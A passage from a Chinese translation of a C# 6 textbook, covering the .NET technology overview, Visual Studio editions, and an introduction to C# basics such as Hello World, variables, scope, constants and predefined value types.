功能。添加这些SDK不会破坏应用程序,但需要以编程方式检查,这种SDK中的API在运 行应用程序的平台上是否可用。根据需要区分的API调用数,代码可能变得混乱,依赖注 入可能是更好的选择。  注意: 第31章讨论了依赖注入,以及对基于XAML的应用程序有用的其他模 式。 可以决定什么设备系列支持应用程序。并不是所有的设备系列都可用于每个应用程 序。 在Windows 10后,会有新版本的Windows吗?Windows 11尚未计划。对于Windows应 用程序(也称为Metro应用程序、Windows Store应用程序、Modern应用程序和UWP), 应针对Windows 8或Windows 8.1。Windows 8应用程序通常也在Windows 8.1上运行,但 Windows 8.1应用程序不在Windows 8上运行。这是非常不同的。为UWP创建应用程序 时,目标版本是10.0.10130.0,定义了可用的最低版本和要测试的最新版本,并假设它在 未来版本上运行。根据可以为应用程序使用的功能,以及希望用户拥有的版本,可以决定 要支持的最低版本。个人用户通常会自动更新版本;企业用户可能会坚持使用旧版本。 运行在UWP上的Windows应用程序利用了Windows运行库和.NET Core。讨论这些应 用程序类型的最重要部分是第32章和第33章。 1.7.4 SOAP服务和WCF Windows Communication Foundation(WCF)是一个功能丰富的技术,旨在取代在 WCF以前可用的通信技术,它为基于标准的Web服务使用的所有特性提供基于SOAP的通 信,如安全性、事务、双向和单向通信、路由、发现等。WCF允许一次性构建服务,然 后在一个配置文件中进行更改,让这个服务用于许多方面(甚至在不同的协议下)。 WCF是一种强大而复杂的方式,用来连接完全不同的系统。第44章将介绍它。 1.7.5 Web服务和ASP.NET Web API ASP.NET Web API是非常容易通信的一个选项,能满足分布式应用程序90%以上的需 求。这项技术基于REST (Representational State Transfer),它定义了无状态、可伸缩的 Web服务的指导方针和最佳实践。 客户端可以接收JSON或XML数据。JSON和XML也可以格式化来使用Open Data规范 (OData)。 这个新API的功能是便于通过JavaScript和UWP使用Web客户端。 ASP.NET Web API是创建微服务的一个好方法。创建微服务的方法定义了更小的服 务,可以独立运行和部署,可以自己控制数据存储。 ASP.NET 5是ASP.NET Web API的旧版本,从ASP.NET MVC分离而来,现在与 ASP.NET MVC 6合并,使用相同的类型和特征。  注意: ASP.NET Web API和微服务的更多信息参见第42章。 1.7.6 WebHooks和SignalR 对于实时Web功能以及客户端和服务器端之间的双向通信,可以使用的ASP.NET技术 是WebHooks和SignalR。 只要信息可用,SignalR就允许将信息尽快推送给连接的客户。SignalR使用 WebSocket技术,在WebSocket不可用时,它可以回退到基于拉的通信机制。 WebHooks可以集成公共服务,这些服务可以调用公共ASP.NET Web API服务。 WebHooks技术从GitHub或Dropbox和其他服务中接收推送通知。 1.7.7 Windows服务 Web服务无论是通过WCF完成还是通过ASP.NET Web服务完成,都需要一个主机才 能运行。IIS(Internet Information Server,互联网信息服务器)通常是一个很好的选择, 因为它提供了所有的服务,但它也可以是自定义程序。使用自定义选项创建一个后台进 程,在运行Windows时启动的是Windows服务。这个程序设计为在基于Windows NT内核 的操作系统的后台运行。希望程序持续运行,做好响应事件的准备,而不是让用户显式地 启动时,就可以使用服务。一个很好的例子是Web服务器上的World Wide Web服务,它监 听来自客户端的Web请求。 很容易用C#编写服务。.NET Framework基类在System.ServiceProcess名称空间中,处 理与服务相关的许多样板任务。此外,Visual Studio .NET允许创建C# Windows服务 (Service)项目,它给基本Windows服务使用C#源代码。第39章探讨了如何编写C# Windows服务。 1.7.8 Web应用程序 最初引入ASP.NET 1,从根本上改变了Web编程模型。ASP.NET 5是新的主要版本, 允许使用.NET Core提高性能和可伸缩性。这个新版本也可以在Linux系统上运行,这个需 求很高。 在ASP.NET 5中,不再包含ASP.NET Web Forms(它仍然可以使用,在.NET 4.6中更 新),所以本书关注现代技术ASP.NET MVC 6,它是ASP.NET 5的一部分。 ASP.NET MVC基于著名的MVC(模型-视图-控制器)模式,更容易进行单元测试。 它还允许把编写用户界面代码与HTML、CSS、JavaScript清晰地分离,它只在后台使用 C#。  注意: 第41章介绍了ASP.NET MVC 6。 1.7.9 Microsoft Azure 现在,在考虑开发图片时不能忽视云。虽然没有专门的章节讨论云技术,但在本书的 几章中都引用了Microsoft Azure。 Microsoft Azure提供了软件即服务(Software as a Service, SaaS)、基础设施即服务 (Infrastructure as a Service, IaaS)和平台即服务(Platform as a Service, PaaS)。下面介绍 这些Microsoft Azure产品。 1. SaaS SaaS提供了完整的软件,不需要处理服务器的管理和更新等。Office 365是一个SaaS 产品,它通过云产品使用电子邮件和其他服务。与开发人员相关的SaaS产品是Visual Studio Online,它不是在浏览器中运行的Visual Studio。Visual Studio Online是云中的Team Foundation Server,可以用作私人代码库,跟踪错误和工作项,以及构建和测试服务。 2. IaaS 另一个服务产品是IaaS。这个服务产品提供了虚拟机。用户负责管理操作系统,维护 更新。当创建虚拟机时,可以决定不同的硬件产品,从共享核心开始,到最多32核(这个 数据会很快改变)。32核、448 GB的RAM和6144 GB的本地SSD属于计算机的“G系列”, 命名为哥斯拉。 对于预装的操作系统,可以在Windows、Windows Server、Linux和预装了SQL Server、BizTalk Server、SharePoint和Oracle的操作系统之间选择。 作者经常给一周只需要几个小时的环境使用虚拟机,因为虚拟机按小时支付费用。如 果想尝试在Linux上编译和运行.NET Core程序,但没有Linux计算机,在Microsoft Azure上 安装这样一个环境是很容易的。 3. PaaS 对于开发人员来说,Microsoft Azure最相关的部分是PaaS。可以为存储和读取数据而 访问服务,使用应用程序服务的计算和联网功能,在应用程序中集成开发者服务。 为了在云中存储数据,可以使用关系数据存储SQL Database。SQL Database与SQL Server的本地版本大致相同。也有一些NoSQL解决方案,例如,DocumentDB存储JSON数 据,Storage存储blob(如图像或视频)和表格数据(这是非常快的,提供了大量的数 据)。 Web应用程序可以用于驻留ASP.NET MVC解决方案,API应用程序可以用来驻留 ASP.NET Web API服务。 Visual Studio Online是开发者服务(Developer Service)产品的一部分。在这里也可以 找到Visual Studio Application Insights。它的发布周期更短,对于获得用户如何使用应用程 序的信息越来越重要。用户因为可能找不到哪些菜单,而从未使用过它们?用户在应用程 序中使用什么路径来完成任务?在Visual Studio Application Insights中,可以得到良好的匿 名用户信息,找出用户关于应用程序的问题,使用DevOps可以快速解决这些问题。  注意: 第20章介绍了跟踪特性以及如何使用Microsoft Azure的Visual Studio Application Insights产品。第45章不仅说明了如何部署到本地IIS上,还描述了如何部署 到Microsoft Azure Web Apps上。 1.8 开发工具 第2章会讨论很多C#代码,而本章的最后一部分介绍开发工具和Visual Studio 2015的 版本。 1.8.1 Visual Studio Community 这个版本的Visual Studio是免费的,具备以前专业版的功能。使用时间有许可限制。 它对开源项目和培训、学术和小型专业团队是免费的。Visual Studio Express版本以前是免 费的,但该产品允许在Visual Studio中使用插件。 1.8.2 Visual Studio Professional with MSDN 这个版本比Community版包括更多的功能,例如CodeLens和Team Foundation Server, 来进行源代码管理和团队协作。有了这个版本,也会得到MSDN订阅,其中包括微软公司 的几个服务器产品,用于开发和测试。 1.8.3 Visual Studio Enterprise with MSDN Visual Studio 2013有高级版和旗舰版。而Visual Studio 2015有企业版。这个版本提供 了旗舰版的功能,但采用高级版的价格。与专业版一样,这个版本包含很多测试工具,如 Web负载和性能测试、使用Microsoft Fakes进行单元测试隔离,以及编码的UI测试(单元 测试是所有Visual Studio版本的一部分)。通过Code Clone可以找到解决方案中的代码克 隆。Visual Studio企业版还包含架构和建模工具,以分析和验证解决方案体系结构。  注意: 第17章详细介绍了Visual Studio 2015几个特性的使用。第19章阐述单 元测试、Web测试和创建编码的UI测试。  注意: 有了MSDN订阅,就有权免费使用Microsoft Azure,每月具体的数量 视MSDN订阅的类型而定。  注意: 本书中的一些功能,如编码的UI测试,需要Visual Studio企业版。使 用Visual Studio Community版可以完成本书的大部分内容。 1.8.4 Visual Studio Code 与其他Visual Studio版本相比,Visual Studio Code是一个完全不同的开发工具。Visual Studio 2015提供了基于项目的特性以及一组丰富的模板和工具,而Visual Studio Code是一 个代码编辑器,几乎不支持项目管理。然而,Visual Studio Code不仅在Windows上运行, 也在Linux和OS X上运行。 对于本书的许多章节,可以使用Visual Studio Code作为开发编辑器。但不能创建 WPF、UWP或WCF应用程序,也无法获得第17章介绍的特性。Visual Studio Code代码可 以用于.NET Core控制台应用程序,以及使用.NET Core的ASP.NET Core 1.0 Web应用程 序。 可以从http://code.visualstudio.com下载Visual Studio Code。 1.9 小结 本章涵盖了很多重要的技术和技术的变化。了解一些技术的历史,有助于决定新的应 用程序应该使用哪些技术,现有的应用程序应该如何处理。 .NET Framework 4.6和.NET Core 1.0是有差异的。本章讨论了如何在这两种环境中创 建并运行“Hello, World!”应用程序,但没有使用Visual Studio。 本章阐述了公共语言运行库(CLR)的功能,介绍了用于访问数据库和创建Windows 应用程序的技术。论述了ASP.NET Core 1.0的优点。 第2章开始使用Visual Studio创建“Hello, World!”应用程序,继续讨论C#语法。 第2章 核心C# 本章要点 ● 用Visual Studio创建Hello, World! ● 声明变量 ● 变量的初始化和作用域 ● C#的预定义数据类型 ● 在C#程序中指定执行流 ● 枚举 ● 名称空间 ● Main()方法 ● 使用内部注释和文档编制功能 ● 预处理器指令 ● C#编程的推荐规则和约定 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● HelloWorldApp ● VariablesSample ● VariableScopeSample ● IfStatement ● ForLoop ● EnumerationsSample ● NamespacesSample ● ArgumentsSample ● StringSample 2.1 C#基础 理解了C#的用途后,就该学习如何使用它了。本章将介绍C#编程的基础知识,这也 是后续章节的基础。阅读完本章后,读者就有足够的C#知识来编写简单的程序了,但还 不能使用继承或其他面向对象的特性。这些内容将在后面的几章中讨论。 2.2 用Visual Studio创建Hello, World! 第1章解释了如何使用.NET 4.6的csc编译器和.NET Core 1.0的dotnet工具编写C#程序 Hello, World!。还可以使用Visual Studio 2015创建它,这是本章的内容。  注意: 在第1章,Visual Studio用作代码编辑器和编译器,没有使用Visual Studio的所有其他特性。第17章介绍了Visual Studio提供的所有其他选项和特性。 2.2.1 创建解决方案 首先,在Visual Studio中创建一个解决方案文件。解决方案允许组合多个项目,打开 解决方案中的所有项目。 选择File | New Project命令,然后选择Installed | Templates | Other Project Types | Visual Studio Solutions,可以创建空的解决方案。选择Blank Solution模板(如图2-1所示)。在 New Project对话框中,可以定义解决方案的名称以及应该存储解决方案的目录。也可以指 定解决方案是否应该添加到Git存储库中,进行源代码控制管理。 图2-1 创建解决方案后,在Solution Explorer中会看到解决方案的内容(如图2-2所示)。目 前,只有一个解决方案文件,其中没有任何内容。 图2-2 2.2.2 创建新项目 现在添加一个新项目来创建Hello, World!应用程序。在Solution Explorer中右击解决 方案,或者使用工具栏中的Menu按钮打开上下文菜单(如图2-2所示),选择Add|New Project命令,打开Add New对话框。也可以选择File | Add | New Project。在Add New对话 框中,选择Console Application (Package)模板,来创建一个面向.NET Core的控制台应 用程序。这个项目类型在Installed | Templates| Visual C# | Web的树中(如图2-3所示)。把 应用程序的名称设置为HelloWorldApp。 图2-3  注意: 要打开应用程序的上下文菜单,可以使用不同的选项:选择一项,右 击,打开上下文菜单(如果是左撇子,就左击);或选择一项,按键盘上的菜单键 (通常位于右侧Alt和Ctrl键之间)。如果键盘上没有菜单键,就按下Shift + F10。最 后,如果有触摸板,就可以执行双指触摸。 Solution Explorer不再是空的。它现在显示项目和属于该项目的所有文件(如图2-4所 示)。 图2-4 在第1章,项目文件由dotnet工具创建,现在在Visual Studio模板中创建。指定了两个 框架.NET 4.6和.NET Core 1.0。在两个框架中,都引用了NetStandard.Library 1.0 (代码文 件HelloWorldApp /project.json): { "version": "1.0.0-*", "description": "", "authors": [ "" ], "tags": [ "" ], "projectUrl": "", "licenseUrl": "", "dependencies": { "NETStandard.Library": "1.0.0-*" }, "frameworks": { "net46": { }, "netstandardapp1.5": { "dependencies": { }, "imports": "dnxcore50" } }, "runtimes": { "win7-x64": { }, "win10-x64": { } } } 生成的C#源文件Program.cs在Program类中包含Main方法,Program类在 HelloWorldApp名称空间中定义(代码文件HelloWorldApp /Program.cs): using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace HelloWorldApp { class Program { static void Main(string[] args) { } } } 把它改为Hello, World!应用程序。需要打开名称空间,以使用Console类的WriteLine 方法,还需要调用WriteLine方法。还要修改Program类的名称空间。Program类现在在 Wrox.HelloWorldApp名称空间中定义(代码文件HelloWorldApp / Program.cs): using static System.Console; namespace Wrox.HelloWorldApp { class Program { static void Main() { WriteLine("Hello, World! "); } } } 在Solution Explorer中选择项目,使用上下文菜单,打开Properties(或View | Property Pages命令)打开项目配置(如图2-5所示)。在Application选项卡,可以选择应用程序的 名称、默认名称空间(这只用于新添加的项目)和应该用于解决方案的.NET Core版本。 如果选择的版本与默认选项不同,则创建一个global.json文件,其中包含这个配置设置。 图2-5 2.2.3 编译和运行程序 Build菜单为构建项目提供了不同的选项。可以使用Build | Build Solution命令构建解 决方案的所有项目,也可以使用Build | Build HelloWorldApp命令构建单个项目。还可以看 一看Build菜单中的其他选项。 为了生成持久的文件,可以在项目属性的Build选项卡中选中Produce outputs on build 复选框(如图2-6所示)。 图2-6 选中Produce outputs on build复选框,构建程序后,可以看到在File Explorer中,目录 artifacts包含的子目录支持列出的所有.NET Framework版本和二进制文件。 可以在Visual Studio中选择Debug | Start Without Debugging命令运行应用程序。这将启 动应用程序,如图2-7所示。 图2-7  注意: 一定不要用Debug | Start Debugging命令启动应用程序;否则,就看不 到应用程序的输出,因为控制台窗口在应用程序完成后立即关闭。可以使用这种方法 来运行应用程序,设置断点,调试应用程序,或在Main方法结束前添加ReadLine方 法。 可以使用项目属性中的Debug选项卡,配置运行应用程序时应该使用的运行库版本 (如图2-8所示)。 图2-8  提示: 一个解决方案有多个项目时,可以指定应该运行什么项目,方法是在 Solution Explorer中选择项目,打开上下文菜单,从中选择Set as Startup Project (或 Project | Set as Startup Project)命令。也可以在Solution Explorer中选择解决方案,并选 择Set as Startup Project,打开解决方案的属性页,在其中可以选择启动项目。还可以定 义多个要启动的项目。 2.2.4 代码的详细介绍 下面讨论C#源代码。首先对C#语法做一些一般性的解释。在C#中,与其他C风格的 语言一样,语句都以分号(;)结尾,并且语句可以写在多个代码行上,不需要使用续行 字符。用花括号({})把语句组合为块。单行注释以两个斜杠字符开头(//),多行注释 以一个斜杠和一个星号(/*)开头,以一个星号和一个斜杠(*/)结尾。在这些方面,C# 与C++和Java一样,但与Visual Basic不同。分号和花括号使C#代码与Visual Basic代码的外 观差异很大。如果以前使用的是Visual Basic,就应特别注意每条语句结尾的分号。对于 新接触C风格语言的用户,忽略分号常常是导致编译错误的最主要原因之一。另一个方面 是,C#区分大小写,即myVar与MyVar是两个不同的变量。 在上面的代码示例中,前几行代码与名称空间有关(如本章后面所述),名称空间是 把相关类组合在一起的方式。namespace关键字声明了应与类相关的名称空间。其后花括 号中的所有代码都被认为是在这个名称空间中。编译器在using语句指定的名称空间中查 找没有在当前名称空间中定义但在代码中引用的类。这与Java中的import语句和C++中的 using namespace语句非常类似。 using static System.Console; namespace Wrox { 在Program.cs文件中使用using static指令的原因是下面要使用一个库类 System.Console。using static System.Console语句允许引用这个类的静态成员,而忽略名称 空间和类名。仅声明using System,在调用WriteLine()方法时需要添加类名: using System; // etc. Console.WriteLine("Hello World! "); 忽略整个using语句,调用WriteLine()方法时就必须添加名称空间的名称: System.Console.WriteLine("Hello World! "); 标准的System名称空间包含了最常用的.NET类型。在C#中做的所有工作都依赖 于.NET基类,认识到这一点非常重要;在本例中,使用了System名称空间中的Console 类,以写入控制台窗口。C#没有用于输入和输出的内置关键字,而是完全依赖于.NET 类。  注意: 本章和后续章节中几乎所有示例都使用Console类的静态成员,所以 假定所有的代码片段都包含using static System.Console;语句。 在源代码中,声明一个类Program。但是,因为该类位于Wrox.HelloWorldApp名称空 间中,所以其完整的名称是Wrox.HelloWorldApp.Program: namespace Wrox.HelloWorldApp { class Program { 所有的C#代码都必须包含在类中。类的声明包括class关键字,其后是类名和一对花 括号。与类相关的所有代码都应放在这对花括号中。 Program类包含一个方法Main()。每个C#可执行文件(如控制台应用程序、 Windows应用程序、Windows服务和Web应用程序)都必须有一个入口点——Main()方 法(注意,M大写): static void Main() { 在程序启动时调用该方法。该方法要么没有返回值(void),要么返回一个整数 (int)。注意,在C#中,方法定义的格式如下: [modifiers] return_type MethodName([parameters]) { // Method body. NB. This code block is pseudo-code. } 第一个方括号中的内容表示一些可选关键字。修饰符(modifiers)用于指定用户所定 义的方法的某些特性,例如可以在何处调用该方法。在本例中,Main()方法没有使用 public访问修饰符,如果需要对Main()方法进行单元测试,可以给它使用public访问修 饰符。运行库不需要使用public访问修饰符,仍可以调用方法。运行库没有创建类的实 例,调用方法时,需要修饰符static。把返回类型设置为void,在本例中,不包含任何参 数。 最后,看看代码语句: WriteLine("Hello World! "); 在本例中,只调用了System.Console类的WriteLine()方法,把一行文本写到控制台 窗口上。WriteLine()是一个静态方法,在调用之前不需要实例化Console对象。 对C#基本语法有了大致的认识后,下面就详细讨论C#的各个方面。因为没有变量不 可能编写出重要的程序,所以首先介绍C#中的变量。 2.3 变量 在C#中声明变量使用下述语法: datatype identifier; 例如: int i; 该语句声明int变量i。实际上编译器不允许在表达式中使用这个变量,除非用一个值 初始化了该变量。 声明i之后,就可以使用赋值运算符(=)给它赋值: i = 10; 还可以在一行代码中(同时)声明变量,并初始化它的值: int i = 10; 如果在一条语句中声明和初始化了多个变量,那么所有的变量都具有相同的数据类 型: int x = 10, y =20; // x and y are both ints 要声明不同类型的变量,需要使用单独的语句。在一条多变量的声明中,不能指定不 同的数据类型: int x = 10; bool y = true; // Creates a variable that stores true or false int x = 10, bool y = true; // This won't compile! 注意上面例子中的“//”和其后的文本,它们是注释。“//”字符串告诉编译器,忽略该行 后面的文本,这些文本仅为了让人更好地理解程序,它们并不是程序的一部分。本章后面 会详细讨论代码中的注释。 2.3.1 初始化变量 变量的初始化是C#强调安全性的另一个例子。简单地说,C#编译器需要用某个初始 值对变量进行初始化,之后才能在操作中引用该变量。大多数现代编译器把没有初始化标 记为警告,但C#编译器把它当成错误来看待。这就可以防止我们无意中从其他程序遗留 下来的内存中检索垃圾值。 C#有两个方法可确保变量在使用前进行了初始化: ● 变量是类或结构中的字段,如果没有显式初始化,则创建这些变量时,其默认值就 是0(类和结构在后面讨论)。 ● 方法的局部变量必须在代码中显式初始化,之后才能在语句中使用它们的值。此 时,初始化不是在声明该变量时进行的,但编译器会通过方法检查所有可能的路 径,如果检测到局部变量在初始化之前就使用了其值,就会标记为错误。 例如,在C#中不能使用下面的语句: static int Main() { int d; WriteLine(d); // Can't do this! Need to initialize d before use return 0; } 注意在这段代码中,演示了如何定义Main(),使之返回一个int类型的数据,而不 是void类型。 在编译这些代码时,会得到下面的错误消息: Use of unassigned local variable 'd' 考虑下面的语句: Something objSomething; 在C#中,这行代码仅会为Something对象创建一个引用,但这个引用还没有指向任何 对象。对该变量调用方法或属性会导致错误。 在C#中实例化一个引用对象,需要使用new关键字。如上所述,创建一个引用,使用 new关键字把该引用指向存储在堆上的一个对象: objSomething = new Something(); // This creates a Something on the heap 2.3.2 类型推断 类型推断使用var关键字。声明变量的语法有些变化:使用var关键字替代实际的类 型。编译器可以根据变量的初始化值“推断”变量的类型。例如: var someNumber = 0; 就变成: int someNumber = 0; 即使someNumber从来没有声明为int,编译器也可以确定,只要someNumber在其作用 域内,就是int类型。编译后,上面两个语句是等价的。 下面是另一个小例子(代码文件VariablesSample/Program.cs): using static System.Console; namespace Wrox { class Program { static void Main() { var name = "Bugs Bunny"; var age = 25; var isRabbit = true; Type nameType = name.GetType(); Type ageType = age.GetType(); Type isRabbitType = isRabbit.GetType(); WriteLine($"name is type {nameType}"); WriteLine($"age is type {ageType}"); WriteLine($"isRabbit is type {isRabbitType}"); } } } 这个程序的输出如下: name is type System.String age is type System.Int32 isRabbit is type System.Bool 需要遵循一些规则: ● 变量必须初始化。否则,编译器就没有推断变量类型的依据。 ● 初始化器不能为空。 ● 初始化器必须放在表达式中。 ● 不能把初始化器设置为一个对象,除非在初始化器中创建了一个新对象。 第3章在讨论匿名类型时将详细探讨这些规则。 声明了变量,推断出了类型后,就不能改变变量的类型了。变量的类型确定后,就遵 循其他变量类型遵循的强类型化规则。 2.3.3 变量的作用域 变量的作用域是可以访问该变量的代码区域。一般情况下,确定作用域遵循以下规 则: ● 只要类在某个作用域内,其字段(也称为成员变量)也在该作用域内。 ● 局部变量存在于表示声明该变量的块语句或方法结束的右花括号之前的作用域内。 ● 在for、while或类似语句中声明的局部变量存在于该循环体内。 1.局部变量的作用域冲突 大型程序在不同部分为不同的变量使用相同的变量名很常见。只要变量的作用域是程 序的不同部分,就不会有问题,也不会产生多义性。但要注意,同名的局部变量不能在同 一作用域内声明两次。例如,不能使用下面的代码: int x = 20; // some more code int x = 30; 考虑下面的代码示例(代码文件VariableScopeSample/Program.cs): using static System.Console; namespace VariableScopeSample { class Program { static int Main() { for (int i = 0; i < 10; i++) { WriteLine(i); } // i goes out of scope here // We can declare a variable named i again, because // there's no other variable with that name in scope for (int i = 9; i >= 0; i -) { WriteLine(i); } // i goes out of scope here. return 0; } } } 这段代码很简单,使用两个for循环打印0~9的数字,再逆序打印0~9的数字。重要 的是在同一个方法中,代码中的变量i声明了两次。可以这么做的原因是i在两个相互独立 的循环内部声明,所以每个变量i对于各自的循环来说是局部变量。 下面是另一个例子(代码文件VariableScopeSample2/Program.cs): static int Main() { int j = 20; for (int i = 0; i < 10; i++) { int j = 30; // Can't do this - j is still in scope WriteLine(j + i); } return 0; } 如果试图编译它,就会产生如下错误: error CS0136: A local variable named 'j' cannot be declared in this scope because that name is used in an enclosing local scope to define a local or parameter 其原因是:变量j是在for循环开始之前定义的,在执行for循环时仍处于其作用域内, 直到Main()方法结束执行后,变量j才超出作用域。第2个j (不合法)虽然在循环的作 用域内,但作用域嵌套在Main()方法的作用域内。因为编译器无法区分这两个变量, 所以不允许声明第二个变量。 2.字段和局部变量的作用域冲突 某些情况下,可以区分名称相同(尽管其完全限定名不同)、作用域相同的两个标识 符。此时编译器允许声明第二个变量。原因是C#在变量之间有一个基本的区分,它把在 类型级别声明的变量看成字段,而把在方法中声明的变量看成局部变量。 考虑下面的代码片段(代码文件VariableScopeSample3/Program.cs): using static System.Console; namespace Wrox { class Program { static int j = 20; static void Main() { int j = 30; WriteLine(j); return; } } } 虽然在Main()方法的作用域内声明了两个变量j,这段代码也会编译:一个是在类 级别上定义的j,在类Program删除前(在本例中,是Main()方法终止,程序结束时)是 不会超出作用域的;一个是在Main()中定义的j。这里,在Main()方法中声明的新变 量j隐藏了同名的类级别变量,所以在运行这段代码时,会显示数字30。 但是,如果要引用类级别变量,该怎么办?可以使用语法object.fieldname,在对象的 外部引用类或结构的字段。在上面的例子中,访问静态方法中的一个静态字段(静态字段 详见2.3.4小节),所以不能使用类的实例,只能使用类本身的名称: // etc. static void Main() { int j = 30; WriteLine(j); WriteLine(Program.j); } // etc. 如果要访问实例字段(该字段属于类的一个特定实例),就需要使用this关键字。 2.3.4 常量 顾名思义,常量是其值在使用过程(生命周期)中不会发生变化的变量。在声明和初 始化变量时,在变量的前面加上关键字const,就可以把该变量指定为一个常量: const int a = 100; // This value cannot be changed. 常量具有如下特点: ● 常量必须在声明时初始化。指定了其值后,就不能再改写了。 ● 常量的值必须能在编译时用于计算。因此,不能用从变量中提取的值来初始化常 量。如果需要这么做,应使用只读字段(详见第3章)。 ● 常量总是隐式静态的。但注意,不必(实际上,是不允许)在常量声明中包含修饰 符static。 在程序中使用常量至少有3个好处: ● 由于使用易于读取的名称(名称的值易于理解)替代了较难读取的数字和字符串, 常量使程序变得更易于阅读。 ● 常量使程序更易于修改。例如,在C#程序中有一个SalesTax常量,该常量的值为 6%。如果以后销售税率发生变化,把新值赋给这个常量,就可以修改所有的税款 计算结果,而不必查找整个程序去修改税率为0.06的每个项。 ● 常量更容易避免程序出现错误。如果在声明常量的位置以外的某个地方将另一个值 赋给常量,编译器就会标记错误。 2.4 预定义数据类型 前面介绍了如何声明变量和常量,下面要详细讨论C#中可用的数据类型。与其他语 言相比,C#对其可用的类型及其定义有更严格的描述。 2.4.1 值类型和引用类型 在开始介绍C#中的数据类型之前,理解C#把数据类型分为两种非常重要: ● 值类型 ● 引用类型 下面几节将详细介绍值类型和引用类型的语法。从概念上看,其区别是值类型直接存 储其值,而引用类型存储对值的引用。 这两种类型存储在内存的不同地方:值类型存储在堆栈(stack)中,而引用类型存 储在托管堆(managed heap)上。注意区分某个类型是值类型还是引用类型,因为这会有 不同的影响。例如,int是值类型,这表示下面的语句会在内存的两个地方存储值20: // i and j are both of type int i = 20; j = i; 但考虑下面的代码。这段代码假定已经定义了类Vector, Vector是一个引用类型,它有 一个int类型的成员变量Value: Vector x, y; x = new Vector(); x.Value = 30; // Value is a field defined in Vector class y = x; WriteLine(y.Value); y.Value = 50; WriteLine(x.Value); 要理解的重要一点是在执行这段代码后,只有一个Vector对象。x和y都指向包含该对 象的内存位置。因为x和y是引用类型的变量,声明这两个变量只保留了一个引用——而不 会实例化给定类型的对象。两种情况下都不会真正创建对象。要创建对象,就必须使用 new关键字,如上所示。因为x和y引用同一个对象,所以对x的修改会影响y,反之亦然。 因此上面的代码会显示30和50。 如果变量是一个引用,就可以把其值设置为null,表示它不引用任何对象: y = null; 如果将引用设置为null,显然就不可能对它调用任何非静态的成员函数或字段,这么 做会在运行期间抛出一个异常。 在C#中,基本数据类型(如bool和long)都是值类型。如果声明一个bool变量,并给 它赋予另一个bool变量的值,在内存中就会有两个bool值。如果以后修改第一个bool变量 的值,第二个bool变量的值也不会改变。这些类型是通过值来复制的。 相反,大多数更复杂的C#数据类型,包括我们自己声明的类,都是引用类型。它们 分配在堆中,其生存期可以跨多个函数调用,可以通过一个或几个别名来访问。CLR实现 一种精细的算法,来跟踪哪些引用变量仍是可以访问的,哪些引用变量已经不能访问了。 CLR会定期删除不能访问的对象,把它们占用的内存返回给操作系统。这是通过垃圾回收 器实现的。 把基本类型(如int和bool)规定为值类型,而把包含许多字段的较大类型(通常在有 类的情况下)规定为引用类型,C#设计这种方式是为了得到最佳性能。如果要把自己的 类型定义为值类型,就应把它声明为一个结构。 2.4.2 .NET类型 数据类型的C#关键字(如int、short和string)从编译器映射到.NET数据类型。例如, 在C#中声明一个int类型的数据时,声明的实际上是.NET结构System.Int32的一个实例。这 听起来似乎很深奥,但其意义深远:这表示在语法上,可以把所有的基本数据类型看成支 持某些方法的类。例如,要把int i转换为string类型,可以编写下面的代码: string s = i.ToString(); 应强调的是,在这种便利语法的背后,类型实际上仍存储为基本类型。基本类型在概 念上用.NET结构表示,所以肯定没有性能损失。 下面看看C#中定义的内置类型。我们将列出每个类型,以及它们的定义和对应.NET 类型的名称。C#有15个预定义类型,其中13个是值类型,两个是引用类型(string和 object)。 2.4.3 预定义的值类型 内置的.NET值类型表示基本类型,如整型和浮点类型、字符类型和布尔类型。 1.整型 C#支持8个预定义的整数类型,如表2-1所示。 表2-1 名称 .NET类型 说明 范围(最小~最大) sbyte System.SByte 8位有符号的整 数 -128~127 (-27 ~27 -1) short System.Int16 16位有符号的 整数 -32 768~32 767 (-215 ~215 -1) int System.Int32 32位有符号的 整数 -2 147 483 648~2 147 483 647 (-231 ~231 -1) long System.Int64 64位有符号的 整数 -9 223 372 036 854 775 808~9 223 372 036 854 775 807 (-263 ~ 263 -1) byte System.Byte 8位无符号的整 数 0~255 (0~28 -1) ushort System.UInt16 16位无符号的 整数 0~65 535 (0~216 -1) uint System.UInt32 32位无符号的 整数 0~4 294 967 295 (0~232 -1) ulong System.UInt64 64位无符号的 整数 0~18 446 744 073 709 551 615 (0~264 -1) 有些C#类型的名称与C++和Java类型一致,但定义不同。例如,在C#中,int总是32位 有符号的整数。而在C++中,int是有符号的整数,但其位数取决于平台(在Windows上是 32位)。在C#中,所有的数据类型都以与平台无关的方式定义,以备将来从C#和.NET迁 移到其他平台上。 byte是0~255(包括255)的标准8位类型。注意,在强调类型的安全性时,C#认为 byte类型和char类型完全不同,它们之间的编程转换必须显式请求。还要注意,与整数中 的其他类型不同,byte类型在默认状态下是无符号的,其有符号的版本有一个特殊的名称 sbyte。 在.NET中,short不再很短,现在它有16位长。int类型更长,有32位。long类型最 长,其值有64位。所有整数类型的变量都能被赋予十进制或十六进制的值,后者需要0x前 缀: long x = 0x12ab; 如果对一个int、uint、long还是ulong类型的整数没有任何显式的声明,则该变量默认 为int类型。为了把输入的值指定为其他整数类型,可以在数字后面加上如下字符: uint ui = 1234U; long l = 1234L; ulong ul = 1234UL; 也可以使用小写字母u和l,但后者会与整数1混淆。 2.浮点类型 C#提供了许多整数数据类型,也支持浮点类型,如表2-2所示。 表2-2 float数据类型用于较小的浮点值,因为它要求的精度较低。double数据类型比float数 据类型大,提供的精度也大一倍(15位)。 如果在代码中对某个非整数值(如12.3)硬编码,则编译器一般假定该变量是 double。如果想指定该值为float,可以在其后加上字符F(或f): float f = 12.3F; 3. decimal类型 decimal类型表示精度更高的浮点数,如表2-3所示。 表2-3 .NET和C#数据类型一个重要的优点是提供了一种专用类型进行财务计算,这就是 decimal类型。使用decimal类型提供的28位的方式取决于用户。换言之,可以用较大的精 确度(带有美分)来表示较小的美元值,也可以在小数部分用更多的舍入来表示较大的美 元值。但应注意,decimal类型不是基本类型,所以在计算时使用该类型会有性能损失。 要把数字指定为decimal类型而不是double、float或整数类型,可以在数字的后面加上 字符M(或m),如下所示: decimal d = 12.30M; 4. bool类型 C#的bool类型用于包含布尔值true或false,如表2-4所示。 表2-4 bool值和整数值不能相互隐式转换。如果变量(或函数的返回类型)声明为bool类 型,就只能使用值true或false。如果试图使用0表示false,非0值表示true,就会出错。 5.字符类型 为了保存单个字符的值,C#支持char数据类型,如表2-5所示。 表2-5 名称 .NET类型 